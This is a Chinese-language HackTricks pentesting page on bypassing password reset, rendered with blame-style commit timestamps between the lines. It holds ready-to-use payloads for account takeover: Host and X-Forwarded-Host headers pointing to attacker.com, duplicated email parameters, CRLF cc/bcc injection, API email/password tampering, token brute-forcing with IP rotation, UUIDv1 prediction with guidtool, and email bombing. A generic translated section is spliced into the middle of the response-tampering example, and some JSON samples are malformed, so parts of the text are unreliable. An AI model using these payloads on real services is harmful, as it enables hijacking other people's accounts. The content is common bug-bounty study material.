2023-08-03 19:12:22 +00:00
|
|
|
|
# 重置/忘记密码绕过
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
<details>
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|
|
|
|
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
|
|
|
|
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
|
|
|
|
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
|
|
|
* **通过向** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
</details>
|
|
|
|
|
|
2023-07-31 15:59:11 +00:00
|
|
|
|
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
2022-10-27 23:22:18 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
**HackenProof是所有加密漏洞赏金的家园。**
|
2023-02-27 09:28:45 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
**无需延迟获得奖励**\
|
|
|
|
|
HackenProof的赏金只有在客户存入奖励预算后才会启动。在漏洞验证后,您将获得奖励。
|
2023-02-27 09:28:45 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
**在web3渗透测试中获得经验**\
|
|
|
|
|
区块链协议和智能合约是新的互联网!在其崛起的日子里掌握web3安全。
|
2023-02-27 09:28:45 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
**成为web3黑客传奇**\
|
|
|
|
|
每次验证的漏洞都会获得声誉积分,并占据每周排行榜的榜首。
|
2023-07-14 15:03:41 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
[**在HackenProof上注册**](https://hackenproof.com/register)开始从您的黑客行动中获利!
|
2023-07-14 15:03:41 +00:00
|
|
|
|
|
|
|
|
|
{% embed url="https://hackenproof.com/register" %}
|
2022-10-27 23:22:18 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
以下技术重新编译自[https://anugrahsr.github.io/posts/10-Password-reset-flaws/](https://anugrahsr.github.io/posts/10-Password-reset-flaws/)
|
2020-08-24 09:12:55 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
## 通过引用泄漏密码重置令牌
|
2020-08-24 09:12:55 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
**HTTP referer**是一个可选的HTTP头字段,用于标识链接到所请求资源的网页的地址。引用请求头包含从当前请求页面跟踪链接到当前请求页面的上一个网页的地址。
|
2021-04-07 13:16:44 +00:00
|
|
|
|
|
|
|
|
|
![](https://www.optimizesmart.com/wp-content/uploads/2020/01/1-1-2.jpg)
|
2020-08-24 09:12:55 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
### 利用
|
2020-08-24 09:12:55 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* 向您的电子邮件地址请求重置密码
|
|
|
|
|
* 点击密码重置链接
|
|
|
|
|
* 不更改密码
|
|
|
|
|
* 点击任何第三方网站(例如:Facebook,Twitter)
|
|
|
|
|
* 在burpsuite代理中拦截请求
|
|
|
|
|
* 检查引用头是否泄漏密码重置令牌。
|
2020-08-24 09:12:55 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
### 影响
|
2020-10-07 09:34:02 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
它允许控制特定站点的人更改用户的密码(CSRF攻击),因为此人知道用户的重置密码令牌。
|
2021-04-07 10:04:56 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
### 参考:
|
2021-04-07 10:04:56 +00:00
|
|
|
|
|
|
|
|
|
* https://hackerone.com/reports/342693
|
|
|
|
|
* https://hackerone.com/reports/272379
|
|
|
|
|
* https://hackerone.com/reports/737042
|
|
|
|
|
* https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a
|
|
|
|
|
* https://medium.com/@shahjerry33/password-reset-token-leak-via-referrer-2e622500c2c1
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
## 密码重置毒化
|
2021-04-07 10:04:56 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
如果您发现主机头攻击超出范围,请尝试找到密码重置按钮!
|
2021-04-07 10:04:56 +00:00
|
|
|
|
|
|
|
|
|
![](https://portswigger.net/web-security/images/password-reset-poisoning.svg)
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
### 利用
|
2021-04-07 10:04:56 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* 在Burpsuite中拦截密码重置请求
|
|
|
|
|
* 添加以下头部或在Burpsuite中编辑头部(逐个尝试)
|
2022-10-26 09:16:32 +00:00
|
|
|
|
```
|
2021-04-07 10:04:56 +00:00
|
|
|
|
Host: attacker.com
|
|
|
|
|
```
|
|
|
|
|
|
2022-10-26 09:16:32 +00:00
|
|
|
|
```
|
2023-08-03 19:12:22 +00:00
|
|
|
|
Host: target.com
|
|
|
|
|
X-Forwarded-Host: attacker.com
|
2021-04-07 10:04:56 +00:00
|
|
|
|
```
|
|
|
|
|
|
2022-10-26 09:16:32 +00:00
|
|
|
|
```
|
2023-08-03 19:12:22 +00:00
|
|
|
|
Host: target.com
|
|
|
|
|
Host: attacker.com
|
2021-04-07 10:04:56 +00:00
|
|
|
|
```
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* 检查电子邮件中更改密码的链接是否指向 attacker.com
|
2021-04-07 10:04:56 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
### 修复
|
2021-04-07 10:04:56 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
使用 `$_SERVER['SERVER_NAME']` 而不是 `$_SERVER['HTTP_HOST']`
|
2021-04-07 10:04:56 +00:00
|
|
|
|
```php
|
|
|
|
|
$resetPasswordURL = "https://{$_SERVER['HTTP_HOST']}/reset-password.php?token=12345678-1234-1234-1234-12345678901";
|
|
|
|
|
```
|
2023-08-03 19:12:22 +00:00
|
|
|
|
### 影响
|
2021-04-07 10:04:56 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
受害者将在其电子邮件中收到恶意链接,当点击该链接时,将泄露用户的密码重置链接/令牌给攻击者,导致完全接管账户。
|
2021-04-07 10:04:56 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
### 参考:
|
2021-04-07 10:04:56 +00:00
|
|
|
|
|
|
|
|
|
* https://hackerone.com/reports/226659
|
|
|
|
|
* https://hackerone.com/reports/167631
|
|
|
|
|
* https://www.acunetix.com/blog/articles/password-reset-poisoning/
|
|
|
|
|
* https://pethuraj.com/blog/how-i-earned-800-for-host-header-injection-vulnerability/
|
|
|
|
|
* https://medium.com/@swapmaurya20/password-reset-poisoning-leading-to-account-takeover-f178f5f1de87
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
## 通过操纵电子邮件参数进行密码重置
|
2021-04-07 10:04:56 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
### 漏洞利用
|
2021-04-07 10:04:56 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* 使用 & 将攻击者的电子邮件添加为第二个参数
|
2021-04-07 10:04:56 +00:00
|
|
|
|
```php
|
|
|
|
|
POST /resetPassword
|
|
|
|
|
[...]
|
|
|
|
|
email=victim@email.com&email=attacker@email.com
|
|
|
|
|
```
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* 将攻击者的电子邮件作为第二个参数添加,使用 %20
|
2021-04-07 10:04:56 +00:00
|
|
|
|
```php
|
|
|
|
|
POST /resetPassword
|
|
|
|
|
[...]
|
|
|
|
|
email=victim@email.com%20email=attacker@email.com
|
|
|
|
|
```
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* 将攻击者的电子邮件作为第二个参数使用 |
|
2021-04-07 10:04:56 +00:00
|
|
|
|
```php
|
|
|
|
|
POST /resetPassword
|
|
|
|
|
[...]
|
|
|
|
|
email=victim@email.com|email=attacker@email.com
|
|
|
|
|
```
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* 将攻击者的电子邮件作为第二个参数添加,使用抄送(cc)
|
2021-04-07 10:04:56 +00:00
|
|
|
|
```php
|
|
|
|
|
POST /resetPassword
|
|
|
|
|
[...]
|
|
|
|
|
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
|
|
|
|
|
```
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* 将攻击者的电子邮件作为第二个参数添加,并使用密送(BCC)功能。
|
2021-04-07 10:04:56 +00:00
|
|
|
|
```php
|
|
|
|
|
POST /resetPassword
|
|
|
|
|
[...]
|
|
|
|
|
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
|
|
|
|
|
```
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* 将攻击者的电子邮件作为第二个参数添加,使用逗号分隔。
|
2021-04-07 10:04:56 +00:00
|
|
|
|
```php
|
|
|
|
|
POST /resetPassword
|
|
|
|
|
[...]
|
|
|
|
|
email="victim@mail.tld",email="attacker@mail.tld"
|
|
|
|
|
```
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* 将攻击者的电子邮件作为第二个参数添加到JSON数组中
|
2021-04-07 10:04:56 +00:00
|
|
|
|
```php
|
|
|
|
|
POST /resetPassword
|
|
|
|
|
[...]
|
|
|
|
|
{"email":["victim@mail.tld","atracker@mail.tld"]}
|
|
|
|
|
```
|
2023-08-03 19:12:22 +00:00
|
|
|
|
### 参考资料
|
2021-04-07 10:04:56 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
|
|
|
|
|
* [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
|
|
|
|
|
* [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)
|
2021-04-07 10:04:56 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
## 通过 API 参数更改任意用户的电子邮件和密码
|
2021-04-07 10:04:56 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
### 漏洞利用
|
2021-04-07 10:04:56 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* 攻击者必须使用自己的帐户登录并转到更改密码功能
|
|
|
|
|
* 启动 Burp Suite 并拦截请求
|
|
|
|
|
* 在拦截请求后,将其发送到重复器并修改参数 Email 和 Password
|
2021-04-07 10:04:56 +00:00
|
|
|
|
```php
|
|
|
|
|
POST /api/changepass
|
|
|
|
|
[...]
|
|
|
|
|
("form": {"email":"victim@email.tld","password":"12345678"})
|
|
|
|
|
```
|
2023-08-03 19:12:22 +00:00
|
|
|
|
### 参考资料
|
2021-04-07 10:04:56 +00:00
|
|
|
|
|
|
|
|
|
* https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
### 无速率限制: 邮件轰炸 <a href="#5-no-rate-limiting-email-bombing" id="5-no-rate-limiting-email-bombing"></a>
|
2021-04-07 10:04:56 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
### 利用
|
2021-04-07 10:04:56 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* 启动Burp Suite并拦截密码重置请求
|
|
|
|
|
* 发送到Intruder
|
|
|
|
|
* 使用空负载
|
2021-04-07 10:04:56 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
### 参考资料
|
2021-04-07 10:04:56 +00:00
|
|
|
|
|
|
|
|
|
* https://hackerone.com/reports/280534
|
|
|
|
|
* https://hackerone.com/reports/794395
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
## 查找密码重置令牌生成方式
|
2021-04-07 10:04:56 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
找出密码重置令牌的模式
|
2021-04-07 10:04:56 +00:00
|
|
|
|
|
2022-10-26 09:16:32 +00:00
|
|
|
|
![](https://encrypted-tbn0.gstatic.com/images?q=tbn%3AANd9GcSvCcLcUTksGbpygrJB4III5BTBYEzYQfKJyg\&usqp=CAU)
|
2021-04-07 10:04:56 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
如果它是
|
2021-04-07 10:04:56 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* 基于时间戳生成
|
|
|
|
|
* 基于用户ID生成
|
|
|
|
|
* 基于用户电子邮件生成
|
|
|
|
|
* 基于名字和姓氏生成
|
|
|
|
|
* 基于出生日期生成
|
|
|
|
|
* 基于密码学生成
|
2021-04-07 10:04:56 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
使用Burp Sequencer查找令牌的随机性或可预测性。
|
2022-10-26 09:16:32 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
## 可猜测的GUID
|
2022-10-26 09:16:32 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
有不同类型的GUID:
|
2022-10-26 09:16:32 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* **版本0:**仅在nil GUID("00000000-0000-0000-0000-000000000000")中可见。
|
|
|
|
|
* **版本1:**GUID是根据以下方式可预测生成的:
|
|
|
|
|
* 当前时间
|
|
|
|
|
* 在生成系统的正常运行时间内,保持不变的随机生成的“时钟序列”
|
|
|
|
|
* 如果可用,基于系统的MAC地址生成的“节点ID”
|
|
|
|
|
* **版本3:**GUID是使用提供的名称和命名空间的MD5哈希生成的。
|
|
|
|
|
* **版本4:**GUID是随机生成的。
|
|
|
|
|
* **版本5:**GUID是使用提供的名称和命名空间的SHA1哈希生成的。
|
2022-10-26 09:16:32 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
可以查看GUID并找出其版本,有一个小工具可以做到这一点:[**guidtool**](https://github.com/intruder-io/guidtool)\*\*\*\*
|
2022-10-26 09:16:32 +00:00
|
|
|
|
```http
|
|
|
|
|
guidtool -i 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c
|
|
|
|
|
UUID version: 1
|
|
|
|
|
UUID time: 2021-11-17 17:52:18.141000
|
|
|
|
|
UUID timestamp: 138564643381410000
|
|
|
|
|
UUID node: 17547390002044
|
|
|
|
|
UUID MAC address: 0f:f5:91:f2:a3:7c
|
|
|
|
|
UUID clock sequence: 3426
|
|
|
|
|
```
|
2023-08-03 19:12:22 +00:00
|
|
|
|
如果用于生成重置密码GUID的版本是版本1,那么可以使用暴力破解攻击来破解GUIDS:
|
2022-10-26 09:16:32 +00:00
|
|
|
|
```http
|
|
|
|
|
guidtool 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c -t '2021-11-17 18:03:17' -p 10000
|
|
|
|
|
a34aca00-47d0-11ec-8d62-0ff591f2a37c
|
|
|
|
|
a34af110-47d0-11ec-8d62-0ff591f2a37c
|
|
|
|
|
```
|
2023-08-03 19:12:22 +00:00
|
|
|
|
### 参考资料
|
2022-10-26 09:16:32 +00:00
|
|
|
|
|
|
|
|
|
* [https://www.intruder.io/research/in-guid-we-trust](https://www.intruder.io/research/in-guid-we-trust)
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
## 响应篡改:用好的响应替换坏的响应
|
2021-04-07 10:04:56 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
寻找以下类型的请求和响应
|
2021-04-07 10:04:56 +00:00
|
|
|
|
```php
|
|
|
|
|
HTTP/1.1 401 Unauthorized
|
|
|
|
|
(“message”:”unsuccessful”,”statusCode:403,”errorDescription”:”Unsuccessful”)
|
|
|
|
|
```
|
2023-08-03 19:12:22 +00:00
|
|
|
|
# 重置密码
|
|
|
|
|
|
|
|
|
|
当进行网络渗透测试时,重置密码是一种常见的攻击技术,可以帮助我们获取目标系统的访问权限。以下是一些常用的重置密码技术:
|
|
|
|
|
|
|
|
|
|
## 1. 忘记密码功能滥用
|
|
|
|
|
|
|
|
|
|
许多网站和应用程序提供了“忘记密码”功能,允许用户通过电子邮件或手机短信重置密码。攻击者可以利用这个功能来重置目标用户的密码,从而获取对其账户的访问权限。
|
|
|
|
|
|
|
|
|
|
攻击者可以尝试以下方法来滥用忘记密码功能:
|
|
|
|
|
|
|
|
|
|
- 枚举用户名:通过尝试不同的用户名,攻击者可以确定哪些用户在目标系统上注册了账户。
|
|
|
|
|
- 枚举重置密码选项:攻击者可以尝试不同的重置密码选项,例如通过电子邮件或手机短信重置密码。
|
|
|
|
|
- 社会工程学攻击:攻击者可以通过欺骗目标用户提供其个人信息,例如出生日期、住址等,从而成功重置密码。
|
|
|
|
|
|
|
|
|
|
## 2. 弱密码重置
|
|
|
|
|
|
|
|
|
|
有些网站和应用程序在重置密码时可能会使用弱密码重置机制。攻击者可以利用这个漏洞来重置目标用户的密码。
|
|
|
|
|
|
|
|
|
|
攻击者可以尝试以下方法来利用弱密码重置漏洞:
|
|
|
|
|
|
|
|
|
|
- 枚举重置密码链接:攻击者可以尝试通过枚举不同的重置密码链接来找到有效的链接。
|
|
|
|
|
- 预测重置密码链接:攻击者可以尝试预测重置密码链接的格式,例如使用常见的命名约定或模式。
|
|
|
|
|
- 暴力破解重置密码链接:攻击者可以使用暴力破解工具来尝试猜测有效的重置密码链接。
|
2021-04-07 10:04:56 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
## 3. 会话劫持
|
2021-04-07 10:04:56 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
会话劫持是一种攻击技术,攻击者可以通过获取目标用户的会话令牌来重置其密码。
|
|
|
|
|
|
|
|
|
|
攻击者可以尝试以下方法来进行会话劫持:
|
|
|
|
|
|
|
|
|
|
- 窃取会话令牌:攻击者可以通过窃取目标用户的会话令牌来获取对其账户的访问权限。
|
|
|
|
|
- 重放攻击:攻击者可以通过重放先前捕获的会话令牌来重置目标用户的密码。
|
|
|
|
|
|
|
|
|
|
## 4. 操作系统和应用程序漏洞
|
|
|
|
|
|
|
|
|
|
操作系统和应用程序中的漏洞可能会导致重置密码的安全问题。攻击者可以利用这些漏洞来重置目标用户的密码。
|
|
|
|
|
|
|
|
|
|
攻击者可以尝试以下方法来利用操作系统和应用程序漏洞:
|
|
|
|
|
|
|
|
|
|
- 利用已知漏洞:攻击者可以利用已知的操作系统和应用程序漏洞来获取对目标系统的访问权限。
|
|
|
|
|
- 密码重置令牌泄露:某些操作系统和应用程序可能会将密码重置令牌存储在不安全的位置,攻击者可以通过泄露的令牌来重置密码。
|
|
|
|
|
|
|
|
|
|
以上是一些常见的重置密码技术,渗透测试人员可以利用这些技术来评估目标系统的安全性,并提供相应的建议和解决方案来修复潜在的漏洞。
|
2021-04-07 10:04:56 +00:00
|
|
|
|
```php
|
|
|
|
|
HTTP/1.1 200 OK
|
|
|
|
|
(“message”:”success”,”statusCode:200,”errorDescription”:”Success”)
|
|
|
|
|
```
|
2023-08-03 19:12:22 +00:00
|
|
|
|
### 参考
|
2021-04-07 10:04:56 +00:00
|
|
|
|
|
|
|
|
|
* https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
### 使用过期的令牌 <a href="#8-using-expired-token" id="8-using-expired-token"></a>
|
2021-04-07 10:04:56 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* 检查过期的令牌是否可以重用
|
2021-04-07 10:04:56 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
### 暴力破解密码重置令牌 <a href="#9-brute-force-password-rest-token" id="9-brute-force-password-rest-token"></a>
|
2021-04-07 10:04:56 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
尝试使用Burpsuite暴力破解重置令牌
|
2021-04-07 10:04:56 +00:00
|
|
|
|
```php
|
|
|
|
|
POST /resetPassword
|
|
|
|
|
[...]
|
|
|
|
|
email=victim@email.com&code=$BRUTE$
|
|
|
|
|
```
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* 使用Burp Suite上的IP-Rotator绕过基于IP的速率限制。
|
2021-04-07 10:04:56 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
### 参考资料
|
2021-04-07 10:04:56 +00:00
|
|
|
|
|
|
|
|
|
* https://twitter.com/HusseiN98D/status/1254888748216655872/photo/1
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
### 尝试使用您的令牌 <a href="#10-try-using-your-token" id="10-try-using-your-token"></a>
|
2021-04-07 10:04:56 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* 尝试将您的密码重置令牌添加到受害者的账户中。
|
2021-04-07 10:04:56 +00:00
|
|
|
|
```php
|
|
|
|
|
POST /resetPassword
|
|
|
|
|
[...]
|
|
|
|
|
email=victim@email.com&code=$YOUR_TOKEN$
|
|
|
|
|
```
|
2023-08-03 19:12:22 +00:00
|
|
|
|
### 参考
|
2021-04-07 10:04:56 +00:00
|
|
|
|
|
|
|
|
|
* https://twitter.com/HusseiN98D/status/1254888748216655872/photo/1
|
2021-03-22 09:20:53 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
## 注销/重置密码中的会话失效
|
2021-06-27 15:43:01 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
当用户注销或重置密码时,当前会话应该被使无效。\
|
|
|
|
|
因此,在用户登录时,获取**cookies**,然后进行**注销**,并**检查**是否**cookies**仍然有效。\
|
|
|
|
|
重复此过程,改为**更改密码**而不是注销。
|
2021-06-27 15:43:01 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
## 重置令牌过期时间
|
2021-06-27 15:43:01 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
**重置令牌必须有一个过期时间**,在此之后,令牌不应该有效来更改用户的密码。
|
2021-06-27 15:43:01 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
## 额外检查
|
2021-06-27 15:43:01 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* 使用username@burp\_collab.net并分析回调
|
|
|
|
|
* 使用carbon copy email=victim@mail.com%0a%0dcc:hacker@mail.com
|
|
|
|
|
* 长密码(>200)会导致拒绝服务(DoS)
|
|
|
|
|
* 添加第二个电子邮件参数和值
|
2021-06-27 15:43:01 +00:00
|
|
|
|
|
2023-07-31 15:59:11 +00:00
|
|
|
|
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
2023-07-14 15:03:41 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
**HackenProof是所有加密漏洞赏金的家园。**
|
2023-07-14 15:03:41 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
**即刻获得奖励**\
|
|
|
|
|
HackenProof的赏金只有在客户存入奖励预算后才会启动。在漏洞验证后,您将获得奖励。
|
2022-10-27 23:22:18 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
**在web3渗透测试中获得经验**\
|
|
|
|
|
区块链协议和智能合约是新的互联网!掌握web3安全的崛起之日。
|
2022-10-27 23:22:18 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
**成为web3黑客传奇**\
|
|
|
|
|
每次验证的漏洞都会获得声望积分,并占据每周排行榜的榜首。
|
2023-02-27 09:28:45 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
[**在HackenProof上注册**](https://hackenproof.com/register) 开始从您的黑客攻击中获利!
|
2023-02-27 09:28:45 +00:00
|
|
|
|
|
2023-07-14 15:03:41 +00:00
|
|
|
|
{% embed url="https://hackenproof.com/register" %}
|
2022-10-27 23:22:18 +00:00
|
|
|
|
|
2022-04-28 16:01:33 +00:00
|
|
|
|
<details>
|
|
|
|
|
|
2023-04-25 18:35:28 +00:00
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* 您在**网络安全公司**工作吗?您想在HackTricks中看到您的公司广告吗?或者您想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|
|
|
|
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
|
|
|
|
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
|
|
|
|
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
|
|
|
|
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
</details>
|